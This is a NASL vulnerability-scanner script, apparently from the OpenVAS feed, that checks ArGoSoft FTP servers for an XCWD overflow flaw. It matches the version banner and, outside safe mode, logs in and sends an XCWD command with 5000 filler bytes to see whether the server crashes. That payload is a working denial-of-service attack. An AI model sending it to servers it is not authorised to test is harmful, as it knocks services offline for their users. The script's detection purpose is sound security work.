ArGoSoft FTP Server XCWD Overflow

# SPDX-FileCopyrightText: 2004 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.15439");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/8704");
  script_xref(name:"OSVDB", value:"2618");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("ArGoSoft FTP Server XCWD Overflow");
  script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2004 David Maciejak");
  script_family("Denial of Service");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/argosoft/ftp/detected");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Upgrade to 1.4.1.2 or newer.");

  script_tag(name:"summary", value:"The remote host is running the ArGoSoft FTP server.

  It was possible to shut down the remote FTP server by issuing
  a XCWD command followed by a too long argument.");

  script_tag(name:"impact", value:"This problem allows an attacker to prevent the remote site i
  from sharing some resources with the rest of the world.");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
password = kb_creds["pass"];

port = ftp_get_port(default:21);
banner = ftp_get_banner(port: port);
if(! banner || "ArGoSoft FTP Server" >!< banner)
  exit(0);

if (safe_checks() || ! login)
{
  #220 ArGoSoft FTP Server for Windows NT/2000/XP, Version 1.4 (1.4.1.1)
  if (egrep(pattern:".*ArGoSoft FTP Server .* Version .* \((0\.|1\.([0-3]\.|4(\.0|\.1\.[01])))\).*", string:banner) )
    security_message(port);
  exit(0);
}

soc = open_sock_tcp(port);
if(soc)
{
  if(ftp_authenticate(socket:soc, user:login, pass:password))
  {
    s = string("XCWD ", crap(5000), "\r\n");
    send(socket:soc, data:s);
    r = recv_line(socket:soc, length:1024);
    close(soc);

    soc = open_sock_tcp(port);
    if(!soc)
    {
      security_message(port);
      exit(0);
    }
  }
  close(soc);
}